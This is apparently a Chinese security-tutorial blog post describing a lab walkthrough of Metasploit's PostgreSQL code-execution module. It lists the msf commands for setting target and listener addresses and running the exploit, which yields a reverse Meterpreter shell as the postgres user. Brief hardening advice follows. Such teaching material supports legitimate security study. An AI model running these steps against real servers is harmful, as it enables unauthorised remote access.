当前位置:网站首页>6-23漏洞利用-postgresql代码执行利用
6-23漏洞利用-postgresql代码执行利用
2022-08-01 03:54:00 【山兔1】

postgresql代码执行利用
利用msf下 postgresql 的代码执行模块,获得反弹shell。

我们在使用该模块的时候,可以使用命令获取对应的信息
search postgresql

use exploit/linux/postgres/postgres_payload
show info

在某些默认的PostgreSQL Linux安装中,postgres服务帐户可以写入/tmp目录,也可以从那里获得UDF共享库,从而允许执行任意代码。该模块编译一个Linux共享对象文件,通过二进制注入的UPDATE pg_largeobject方法将其上传到目标主机,并从该共享对象创建一个UDF(用户定义函数)。因为负载是作为共享对象的构造函数运行的,所以它不需要遵循特定的Postgres API版本
show options
set rhosts 192.168.1.105
set lhost 192.168.42.128
exploit

很快建立了会话,并且反弹了meterpreter
?
ps
shell

返回一个shell,我们看到反弹回的并不是root shell,而是反弹回postgres shell,它的权限依然不是最高的权限
防御修复
防御:屏蔽任意IP连接postgresql,指定具体的IP地址,来连接postgresql,在一定程度上防御了远程位置IP,连接postgresql的风险
修复:在postgresql出现问题的时候,升级版本,避免出现安全事故,同时也要对默认安装好的软件,进行安全配置,防止默认配置造成的安全隐患,在实际的生产环境当中,我们无法做到快速升级版本,一个东西可能涉及的软件,还有很多,这个时候,我们采用更多的是,安全配置,以及防御的方式,来防止,我们这种软件,受到安全威胁
边栏推荐
- 在打开MYSQL表时,有的可以显示编辑,有的没有,如何设置。
- 初出茅庐的小李第114篇博客项目笔记之机智云智能浇花器实战(3)-基础Demo实现
- Input输入框光标在前输入后自动跳到最后面的bug
- How to promote new products online?
- 博客系统(完整版)
- 2022-07-31: Given a graph with n points and m directed edges, you can use magic to turn directed edges into undirected edges, such as directed edges from A to B, with a weight of 7.After casting the m
- 开源项目站点必备&交流区功能
- PMP 相关方管理必背总结
- 【SemiDrive源码分析】系列文章链接汇总(全)
- 【uniCloud】云对象的应用与提升
猜你喜欢

ICML2022 | Deep Dive into Permutation-Sensitive Graph Neural Networks

【愚公系列】2022年07月 Go教学课程 024-函数

Input输入框光标在前输入后自动跳到最后面的bug

【消息通知】用公众号模板消息怎么样?

The fledgling Xiao Li's 113th blog project notes: Wisdom cloud smart flower watering device combat (2) - basic Demo implementation

黑客到底可以厉害到什么程度?

TypeScript简化运行之ts-node

opencv 缩小放大用哪种插值更好??

2022-07-31: Given a graph with n points and m directed edges, you can use magic to turn directed edges into undirected edges, such as directed edges from A to B, with a weight of 7.After casting the m

Difference Between Compiled and Interpreted Languages
随机推荐
[Getting Started Tutorial] Rollup Module Packager Integration
开源项目站点必备&交流区功能
win10 固定本机IP
Step by step hand tearing carousel Figure 3 (nanny level tutorial)
Unity's primary method for implementing PlanarReflection under the BuildIn rendering pipeline
【消息通知】用公众号模板消息怎么样?
[SemiDrive source code analysis] series article link summary (full)
每周小结(*67):为什么不敢发表观点
Dart named parameter syntax
"ArchSummit: The cry of the times, technical people can hear"
Message queue design based on mysql
Which interpolation is better for opencv to zoom in and out??
HCIP(15)
test
Input input box cursor automatically jumps to the last bug after the previous input
Character encoding and floating point calculation precision loss problem
MySQL3
云服务器下载安装mongo数据库并远程连接详细图文版本(全)
PMP工具与技术总结
785. Quick Sort